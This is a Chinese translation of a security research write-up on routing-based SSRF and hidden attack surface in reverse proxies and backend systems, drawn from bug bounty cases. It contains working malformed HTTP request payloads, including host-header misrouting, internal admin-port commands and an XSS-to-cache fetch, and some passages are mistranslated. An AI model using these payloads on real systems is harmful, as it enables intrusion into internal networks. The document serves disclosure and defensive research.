【译】打破热点：剑指HTTP隐藏的攻击面

现代网站为了提高性能，获取数据并提供更多的服务，通常采取透明系统（译者注: 透明系统是指程序的输入输出可知）镜像来供用户访问。这种几乎不可见的攻击面已经被人们过于的忽略了。

在这篇文章中，我会向大家展示如何使用畸形请求和迷惑的请求头去欺骗系统暴露它们自己，同时打开通往受害者网络的大门。同时我将分享如何把这些技术与bash组合去突破防御部门的网络，并在漏洞悬赏中获取了超过3万美元的奖励以及意外的渗透了自己的ISP（因特网服务供应商）。

当论及到损害程度的话，我也会展示几个系统从隐藏到被揭露的状态，这不仅包括对英国最大的ISP的隐蔽请求的窃听，还有相当可疑的哥伦比亚ISP，令人困惑的Tor后台，以及一个能够将反射型XSS升级为SSRF的系统。你也可以了解到一些策略，用于屏蔽使用了exp链和缓存机制的盲打SSRF。最后，为了推动这些系统发展，我发布了一款Collaborator Everwhere—— 一个开源burp插件，通过选择最好的技术来增加你的网站流量，从而获得更多的来自合作网站的客户。

这篇文章也可以打印成白皮书。与此对应的BlackHat USA演讲视频可能会在9月份公布。

介绍

无论是ShellShock，StageFright还是ImageTragick，在被忽视的攻击面中发现一个严重的漏洞，其背后常常隐藏着许多类似的问题。这是由于安全测试人员的关注点不在重大的攻击面中的“柔软”部分了。在本文中，我将展示反向代理，负载平衡器和后端分析系统所带来的丰富的攻击面，尽管这被过度忽视了多年。我将通过一种简单的方法来高效地对这些系统进行大规模的审计，然后选择所发现的关键漏洞中的一部分进行展示。

这次，我会发布两个工具。 Collaborator Everywhere是一个Burp Suite插件，可以自动将一些危害低的攻击载荷注入你的Web流量来揭露后端系统。它可以通过BApp商店安装，也可以通过https://github.com/PortSwigger/collaborator-everywhere来源安装。渲染引擎Hackability Probe是一个分析连接客户端的攻击面的网页，可从https://github.com/PortSwigger/hackability下载，或直接在http://portswigger-labs.net/hackability/下载

方法论

善于监听

这一系列研究都需要目标系统被是成不可见的。过于明显的负载均衡在设计上就是失败的，而对于后端分析系统来说用户对其存在一无所知，毫无疑问这非常好。因此，我们不能依靠分析响应内容来可靠地识别这些系统中的漏洞。相反，我们应该发送攻击载荷使这些系统与我们联系，并从生成的DNS查找和HTTP请求中了解情况。本文提出的所有调查结果都是pingback开始的;如果没有这个开始，这些漏洞和系统都不会被发现。在这个过程我使用了Burp Collaborator记录这些请求，但你也可以同时托管自己的日志记录DNS服务器，或者需使用Canarytokens来进行简单的探测。

研究线

一开始我使用简单的Burp匹配/替换奖硬编码的pingback攻击载荷注入到所有浏览器流量中。这种方法失败了，因为攻击载荷引起了太多的pingback，这导致了无法将pingback与请求匹配起来以及不知道是哪个网站触发的pingback。很快就看出有些攻击载荷会引起一些延迟（三分钟、几小时、甚至每24小时），然后pingback才返回。

为了帮助有效地区分pingback，我写了Collaborator Everywhere，一个简单的Burp扩展，将包含唯一标识符的攻击载荷注入到所有代理的流量中，并让它们自动将pingback与相应的攻击相关联。比如说，下面这张屏幕截图显示了Collaborator Everywhere已经识别出了在我访问Netfix网站后四个小时，Netflix访问了Referer头中指定的URL，并伪装是在x86 CPU上运行的iPhone。

扩大规模

对于专注的手动审计来说，Collaborator Everywhere非常高效，本文中提及的漏洞有大概一半是通过它来发现的。然而，在这次研究中我发现了雅虎服务器的一个漏洞，该漏洞的通过扫描发现的概率只有30%。这个现象的根本原因是雅虎通过三台不同的前置服务器使用了DNS循环负载均衡来路由请求，这三台服务器只有一台是存在漏洞的。对于侧重后端应用程序的安全审计来说，这种奇怪的场景很少，但是这种情况可以作为渗透负载均衡的新奇淫技巧。为了确保没有存在漏洞的服务器不被检测到，有必要在目标基础设备的每个部分进行系统识别和直接攻击尝试。

为了按上面说的做，最开始我选择了Masscan和Burp Collaborator，但最后用Zmap/ZGrab代替了Masscan，因为它支持HTTP1.1和HTTPS。为了将pingback与目标相关联，我将目标主机名和每个payload进行了简单的相加，如果在example.com存在漏洞那么会导致DNS查找example.com.collaboratorid.burpcollaborator.net。这些目标域名和IP地址都是来自公开或者私有的漏洞悬赏中可测试的域名名单，接着我将这些域名和IP映射到Rapid7的Project Sonar Forward DNS数据库中。通过这个技术，我确定了几百万个IP地址，其中大约50000台主机监听着80/443端口。最初我试着使用反向DNS记录，但我发现了许多服务器伪装成google的基础设施，而且它们并对突如其来的安全审计表示了不欢迎。

于是我向成千上万的服务器发送了攻击载荷，如果这些载荷根本没有击中存在漏洞的代码路径，那效果甚微。为了最大化覆盖率，每个IP地址我用了5个主机名，同时使用HTTP和HTTPS，并尝试使用了X-Forwarded-Proto:HTTPS和Max-Forwards去触发边缘情况。同时为了防止中间服务器破坏我的攻击载荷，我还发送了Cache-Control:no-transform

错误路由请求

反向代理会对收到的请求进行轮询，并转到适当的内部服务器。这些服务器通常处于一个特殊的网络位置，能够接受公网的请求同时也可以访问公司的DMZ区域，但这并不是整个内网。使用恰当的攻击载荷，可以操纵一些反向代理导致错误路由请求，这些请求的目的地是攻击者选择的。这些错误的请求相当于一道无限制访问目标内网的大门，也可以看成是SSRF的强大变体。下面是这种攻击的简单流程图：

请注意，这种攻击通常涉及高度畸形的请求，可能会破坏诸如ZAP的工具，并可能无意中利用了公司或ISP的中间网关。对于工具我建议使用Burp Suite，mitmproxy和Ncat / OpenSSL。

不正确的host字段

触发回调函数的最简单方法是发送不正确的HTTP主机头：

GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close

虽然这项技术在一些圈子里已经存在多年了，但它仍没令人满意。通过这个技术，我成功的渗透了27个DoD服务器，我的ISP、一个哥伦比亚ISP（通过DNS投毒将其暴露出来），还有http://ats-vm.lorax.bf1.yahoo.com的服务器。作为展示这个漏洞严重程度的例子，我们来来看看在ats-vm.lorax.bf1.yahoo.com发现的内部服务器。

初略看一眼，并不能知道服务器在运行什么软件：

GET / HTTP/1.1
Host: XX.X.XXX.XX:8082


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close

Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok

接着不到一分钟，我就准确的知道了服务器在运行什么软件并且怎么和它通讯，这多亏了助人为乐的HELP命令：

HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive

Ok

  Traffic Server Overseer Port

  commands:
    get <variable-list>
    set <variable-name> = "<value>"
    help
    exit

  example:

    Ok
    get proxy.node.cache.contents.bytes_free
    proxy.node.cache.contents.bytes_free = "56616048"
    Ok

  Variable lists are conf/yts/stats records, separated by commas

Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok

大量的Unknown Command是因为服务器将请求的每一行理解成一个命令了。我猜测服务器那的解释器正使用一个类换行符终止协议，这会导致经典的SSRF的exp很难构造。幸运的是，基于路由的SSRF更灵活，我能够构造一个POST风格内容（包含一条命令）的GET请求：

GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34

GET proxy.config.alarm_email


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive

Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = "[email protected]"

通过使用SET命令，我可以对Yahoo的负载平衡器池进行大范围的配置更改，包括启用SOCKS代理和授予我的IP地址权限，直接将项目推送到其缓存中。接着我向雅虎及时汇报了这个问题，他们为我的努力付出了15,000美元的奖励。几个星期后，ZGrab管道发现另一台具有相同漏洞的服务器，获得了额外的5,000美元。

调查对象-BT

在尝试错误的主机技术时，因为有些攻击载荷发送到完全不相关的公司（其中包括cloud.mail.ru），我发现了它们的pingbacks都来自一小块IP地址。最初我假设这些公司必须共同使用相同的云WAF解决方案，接着我发现可以欺骗这些服务器将我的请求错误的路由到到其内部管理界面。不过事情并不是一直顺利的，这个IP池的反向DNS解析是bn-proxyXX.ealing.ukcore.bt.net - BT是英国电信公司的ISP。从英国肯特发送一个攻击载荷到俄罗斯，获取的pingback是不可预料的。我决定使用Burp Repeater进行调试，调试中我发现响应在50ms内回来，这快得让人质疑，毕竟这是从英国到俄罗斯的请求，然后到爱尔兰的数据中心，最后从俄罗斯回到英国。于是我使用Traceroute，接着80端口的TCP跟踪信息揭示了事实：

我尝试与cloud.mail.ru建立TCP链接，但却被自己的ISP终止了。请注意发送到443端口的流量并没有受到保护，这就暗示了正在执行篡改操作的实体并没有控制mail.ru的TLS证书，甚至可能不需要mail.ru的授权和资料就能进行流量拦截。因为我在家里和办公室都可以复现这个场景，所以GHCQ（英国的政府网站）决定选择我来对这些奇怪数据包进行深度检测，接着是我意外的利用了他们的系统。为了排除这种偶然的可能性，我确认了我的朋友能够复现这个场景，但遗留的问题是这个系统是用来做什么的？

为了揭开这个系统的真实面纱，我使用了Masscan在整个IPv4的空间里去ping 80端口，其中所有ping的TTL都是10，这是一次有效的全网追踪。在筛选掉缓存和自我托管的网站后，我拿到了一份完整的目标IP地址清单。通过对清单抽样发现这个系统主要是用来对受版权保护的内容进行访问控制限制。黑名单IP的流量会被重路由到代理池，这样他们就可以检查HTTP的host头，并且以‘我确信我们正直的英国读者是悉知的’消息提醒你被屏蔽了。

GET / HTTP/1.1
Host: www.icefilms.info

HTTP/1.1 200 OK
...
<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p>

这个屏蔽可以被绕过，甚至不需要修改host头。但具体怎么操作，这就留给读者来完成了。

整个过程有一些注意的结果。由于像谷歌这类的虚拟主机、云主机网站早就停止采用黑名单的策略，这就意味着从客户或BT用户到他们那的流量都是走的代理。站在被列入黑名单的服务器角度来想的话，可以得到结论：所有的BT用户共享了一个微小的IP地址池。这就导致了BT代理IP地址滥用黑名单，许多网站无法访问，影响所有的BT用户。这个时候，如果我使用之前提到的admin访问漏洞那就能够控制代理的管理界面了，甚至可能重新配置代理向流向BT用户的流量注入恶意内容。最终，这个漏洞的亮点就这么轻易的被忽略了。这么多年我和其他的英国渗透朋友一直都在通过存在问题的代理进行黑客行为，但却没注意到它的存在。

最后的最后，我向bt的员工报告了能够访问内网控制面板的问题，他答复一定会及时修复。他们还向我透露了这个拦截系统是作为CleanFeed项目的一部分，缘由是政府想要拦截人们对虐待孩子图像的访问。但是，这个系统却不可避免的重新设计成阻止访问版权滥用。

调查对象-METROTEL

后来的日子里，我见证了类似的行为发生在哥伦比亚ISP（METROTEL）。Rapid7的Sonar项目使用了一个公共的METROTEL DNS服务器，该服务器选择性的给特定域名进行DNS污染导致流量重定向DPI代理服务器。为了通过HTTPS流量而不导致证书错误，他们从服务器名称指示器（SNI）字段中嗅探了远程主机。于是我通知了Rapid7去识别行为怪异的DNS服务器，这意味着我能够为其提供Alexa排名100w的域名列表，并从中识别出目标主机。但那台服务器似乎是针对不同的图像和视频主机的，以及一些不知名的社交网络。于是我尝试访问这些网站，结果被重定向到了http://internetsano.metrotel.net.co/，上面提示着该网站因为含有虐待儿童图片被屏蔽。

这个系统和BT的情况一样，最初的目的是令人值得赞扬的。但是有证据显示它被利用了，除了以图像服务的网站为目标，这台DNS服务器还会对特定的新闻网站（包括bbc.co.uk）进行查找污染。这可能是为了屏蔽或者篡改某些新闻网站，尽管我还没确定哪些文章被作为了目标。

处理输入

假如你真的把这一些列小事故当成偶然的一个错误，那就看看我接下来碰到的七台服务器池。他们收到请求是这样的：

GET / HTTP/1.1
Host: burpcollaborator.net
Connection: close

他们对外发送了一个请求。<the_supplied_domain>在路径中出现了两次：</the_supplied_domain>

GET /burpcollaborator.net/burpcollaborator.net HTTP/1.1
Host: outage.burpcollaborator.net
Via: o2-b.ycpi.tp2.yahoo.net

这种行为是无法预测的，所以唯一合理的反应是确保你的服务器可以通过使用泛解析、wildcard SSL和多个协议来处理客户端的异常行为。这种特殊的行为看起来是无法利用的，因为内部服务器不可能在/burpcollaborator.net/burpcollaborator.net上托管敏感内容的。幸运的是，如果你注册了带外的域名（比如outage.yourdomain.com）并且将其解析到内部IP地址，这就可能利用规范的路径将请求发送到内部服务器的webroot:

GET / HTTP/1.1
Host: ../?x=.vcap.me
Connection: close

这个请求会导致下面这个请求：

GET /vcap.me/../?=x=.vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net

在对路径正常化后，url会变成http://outage.vcap.me/?x=whatever。vcap.me是一个方便的公共域名，其中所有的子域名都是解析到127.0.0.1。因此这个请求就相当于访问http://127.0.0.1/。我就是通过这个获得了雅虎的5000刀奖励。

主机覆盖

另外一个类似的技术是我之前用过的，当时是通过密码污染来重置邮件，这在美国国防部的某台服务器上生效了。这是因为有些服务器是对host头进行了白名单设置，但却忘记了请求行是可以指定优先级的。

GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close

将存在漏洞的前端系统作为大门，我获得了访问很多不同有意思的网站的权限，其中包括一个攻击面的库和公共论坛提到的文件传输服务。

奇怪的请求

有些目标是藏在Incapsula的以云为基础的web应用waf后面。Incapsula依赖于检测host头来判断请求该转发至哪台服务器，所以之前谈论的攻击在这不起作用。然而，只要是Incapsula所指定的端口，它都可以对host头进行解析，这意味着它会把下面的请求路由到incapsula-client.net：

GET / HTTP/1.1
Host: incapsula-client.net:[email protected]
Connection: close

Incapsula-client.net的后台会把这个输入变成链接http://incapsula-client.net:[email protected]/，这会导致后台会尝试使用incapsula-client.net用户名和密码80来授权burp-collaborator.net。这除了暴露了新的有意思的攻击面，同时也会揭露服务器的位置，这促使我绕过了Incapsula的保护直到后端系统。

出乎意料

坏掉的请求路由漏洞并不总是由于配置错误引起。比如说在New Relic基础设备上的这段代码就导致了严重的漏洞：

Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();

URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
        .setHost(backendURL.getHost())
        .setPort(backendURL.getPort())
        .setScheme(backendURL.getScheme())
        .build();
} catch (URISyntaxException e) {
    Util.sendError(ctx, 400, INVALID_REQUEST_URL);
    return;
}

这段代码看起来似乎没有错误--首先接受用户输入的url，然后用硬编码在后端把域名换成了IP地址，不幸的是Apache HttpComponents 服务端库不能要求路径以/开头，这意味着如果我发送了下面这个请求：

GET @burp-collaborator.net/ HTTP/1.1
Host: newrelic.com
Connection: close

上述代码在处理这个时会把该请求重写成http://[email protected]/接着将其路由到burp-collaborator.net。和之前一样，这个漏洞让我有了访问大量内部员工信息（包括未授权的管理界面和一个神秘的笑话）的权限。

不幸的是，New Relic没有提供现金奖励，但他们信守承诺，在一个假日迅速的修复了漏洞，并向Apache HttpComponents报告了存在问题的底层库，随后这个问题被修复了，所以其他正在使用Apache HttpComponents的朋友们不用担心了。这并不是第一次在受众面如此广的平台上出现准确的攻击载荷—— 2011年的Apache mod_rewrite。很明显这并不是众所周知的常识，除了New Relic受影响，我还发现这个问题同样存在于17台雅虎服务器上，所以我又赚了8000刀。

隧道

正如我们所看的，经常被忽视的功能（使用@构建一个误导性的URL）是非常有效的。但并不是所有的系统都支持这种url，所以我将之前的payload进行了改造：

GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: demo.globaleaks.org
Connection: close

这条payload后的原理是存在问题的主机可能会把请求路由到xyz.burpcollaborator.net公共后端系统，这条记录会被我们的泛解析DNS记录。实际上我收到的是一串神秘的大小写混合的DNS查找记录，并且是来自不同的IP地址：

xYZ.BurpcoLLABoRaTOR.neT.    from 89.234.157.254
Xyz.burPColLABorAToR.nET.    from 62.210.18.16 
xYz.burpColLaBorATOR.net.    from 91.224.149.254

GlobalLeaks（公司名）使用了Tor2Web将收到的请求转发Tor隐藏的服务接口从而隐藏自己的物理位置。Tor使用了一种模糊安全机制来提高DNS的安全性，原理是通过随机化请求的大小写，这种机制导致了Burp Collaborator服务器拒绝响应，所以触发了大量的dns查找。

这个独特的漏洞非常不好量化。因为所有的请求都是通过Tor，这就不能滥用于访问任何内网服务。这就说，这是一种非常强大的方式，如果用于掩盖对第三方的攻击，特别是因为GlobalLeaks是一个举报平台，它不可能保留任何日志所以最终可能会乖乖替你背锅。此外，通过Tor使web服务器连接到竞争对手的网站的这种能力会暴露出大量的攻击面。

目标辅助系统

我们已经看到反向代理的显著多样性和使服务器错误路由请求技术的必要性，但迄今为止最终的效果都差不多。在这节中，我们将看到，在以后端分析和缓存之类的辅助系统为目标时，找出真正有用的漏洞通常比首先引发回调函数更困难。

收集信息

不像以路由为基的攻击，这些攻击技术通常并不影响网站的正常功能。Collaborator Everywhere通过注入大量不同的攻击到每个请求中来利用这一点。

GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close
X-Forwarded-For

易于触发但难以利用的回调技术的一个示例是X-Forwarded-For和True-Client-IP HTTP头，渗透人员通常利用它们来欺骗IP地址或主机名。信任这些头的应用会进行DNS查找去解析主机名到对应的IP地址。这就给了我们一个很友好的提示，表明他们容易受到IP欺骗攻击，但除非你有便携的DNS库内存损坏漏洞，否则不太好利用回调来攻击。

Referer

与前面相似，web分析系统会从来访者的Referer头中获取所有的未识别URL。一些分析系统为了SEO目的甚至会去尝试爬取referer中url的整个站点。这个动作可能是有用的，所以值得放一个允许的robots.txt文件来鼓励这种行为。从另外一个角度来说这很有可能是一个blind SSRF漏洞，因为用户无法查看分析系统请求的结果，且这发生的时间可能是在用户请求后几分钟或几小时，这会加大利用难度。

重复的参数

因为Incapsula会在请求字符串中获取指定的url两次。但不幸的是他们没有漏洞悬赏机制，所以我不能调查这是不是可利用的。

X-Wap-Profile

X-Wap-Profile是一个古老的http头，该头指定了设备的用户代理配置文件URL，这个文件是一个定义了设备的功能（如屏幕大小，蓝牙支持，支持的协议和字符集等）的XML文档。

GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close

按套路出牌的程序会从请求头中提取url，然后解析到指定的XML文档，这样便于它们调整提供给客户的内容。将这两个高风险功能（获取不受信任的URL和解析不受信任的URL）与其他模糊和不容易发现的功能结合，似乎形成了可以利用的渠道。但不幸的是，这个请求头没有受到广泛支持。Facebook是我发现对此进行了漏洞悬赏的唯一一家公司，并且他们在对待XML解析上相当谨慎。他们在请求发出后的26个小时才获取指定的XML文档，这使得全面迭代测试非常不切实际。

远程客户端漏洞利用

上面这些例子中，如果直接进行SSRF风格的利用是非常困难的，因为我们无法从应用获得反馈。与此对应是利用能够运行的RCE（比如本月的Struts2）向内网进行喷洒似探测，这种方法有点像lcamtuf在《Against the System：rise of the Robots》的web爬虫。在娱乐方面，这种技术没什么意思，所以我将焦点放在了与我们相关的客户端上。和反向代理一样，客户端的审计比较差，容易被现成的工具攻击。只需通过和服务器建立一个HTTPS连接，我就能够轻松的从服务器上窃取内存，并且可以在系统上执行古老的客户端心脏滴血攻击。像PhantomJS这种无界面浏览器通常是过时（跟不上最新的安全机制），缺少大量的重要安全补丁。基于Windows的客户端通常会主动将域名凭证发送到运行着SpiderLabs Responder的服务器上，lcmatuf的p0f能够发现隐藏在假代理后的客户端真正运行的东西。

虽然应用程序会过滤URL的输入，但许多库对重定向都是透明处理的，所以可能会导致在重定向url上有不同的行为。例如，Tublr的URL预览功能只支持HTTP协议，但却乐于重定向到FTP服务。这些技术未来会有一些研究来完善，因为Orange Tsai正专注于编程语言URL解析和请求库。

有些客户端所做的工作不仅是下载页面-实际还有渲染和执行javascript。这样的话会使攻击面很大，没办法手动去做映射，所以我的同事Gareth Heyes创建了一个名为“Rendering Engine Hackability Probe”的工具，用于完整的指纹识别客户端的功能。除了识别自定义浏览器中的常见故障（如忽略执行SOP），它还能标记了不寻常的JavaScript属性。

如图所示，我们可以知道这款工具能够检测未识别的Javascript属性parity和System，这两个属性是Parity浏览器注入进去的，目的是让网站初始化Etherenum。未识别的参数可以分为有点意思的到非常有用的。parity属性可以用来获取用户钱包的公钥（全局唯一的标志）和得知钱包余额。JXBrowser允许开发者插入JavaScript/Java桥接器，去年我们发现可以利用这一点来转义渲染然后进行任意代码执行。如果启用存在配置问题的JavaScript客户端，这可能会连接到file:///URL，这会导致本地文件读取（通过存储在环境变量中的恶意HTML代码）然后在/proc/self/environ中展示——这其实属于跨协议的盲打XSS漏洞。除了可视化显示结果外，每个功能也能触发服务端请求，所以即使你看不到渲染结果，这也很有用。这个工具的基本测试在较为苛刻的客户端上（即使不能执行JavaScript）也能正常工作。

优先缓存

在寻找路由利用漏洞的时候，我注意到了某个军事服务器有一些奇怪的行为。它发出了这样的请求：

GET / HTTP/1.1
Host: burpcollaborator.net

这个请求从服务器获得了正常的响应，接着几秒后collaborator收到了几个请求。

GET /jquery.js HTTP/1.1
GET /abrams.jpg HTTP/1.1

很明显，这是一次扫描响应，目的是资源引入和资源获取。当它识别出<img src="/abrams.jpg"/>时，它会使用我提供的host头去把相对url扩展成http://burpcollaborator.net/abrams.jpg并获取该文件，以便作缓存。通过从反向代理那获取缓存响应，我证实了刚才那一理论。这是一个相当有意思的攻击，我在后端应用程序中发现了XSS，接着通过刚才聊的技术在响应中对内部服务器上进行了一次假图片的引用。

POST /xss.cgi HTTP/1.1
Content-Length: 103
Connection: close

xss=<img src="http://internal-server.mil/index.php/fake.jpg"/>

缓存反向代理服务器识别出了这个资源，然后进行资源引入和获取这个image，并将它存储在我能轻易获取的地方：

GET /index.php/fake.jpg
Host: internal-server.mil
Connection: close

下面的流程图展示了攻击顺序：

请注意，在绝对url中使用XSS意味着即使应用程序拒绝了请求（包含不被识别的host头），这种攻击也会起作用。

结论

最近几年，漏洞悬赏的迅速增加促进了新的攻击类型研究。现在在15分钟内对成千上万点服务器对一个新的攻击概念进行评估了。通过这个技术，我已经向各位展示了即使再小的反响代理问题也可能引发重大致命的漏洞，在这整个过程中国年我获得了33000美元。为了实现深度防御，反向代理被划入防火墙保护范畴内，并接入DMZ，从公网中独立出来。

我还展示了如何揭开后端系统并详细讲解了他们的操作。相对于前端来说，后端不不容易发生致命的问题，但他们暴露了丰富的攻击面，这面尚在研究中。最后，我确保Burp Suite的Scanner功能可以探测到路由漏洞，并发布了Collaborator Everywhere和Hackability作为开源工具来推动进一步的研究。

享受这一切吧。-@albinowax。

源链接

Hacking more

...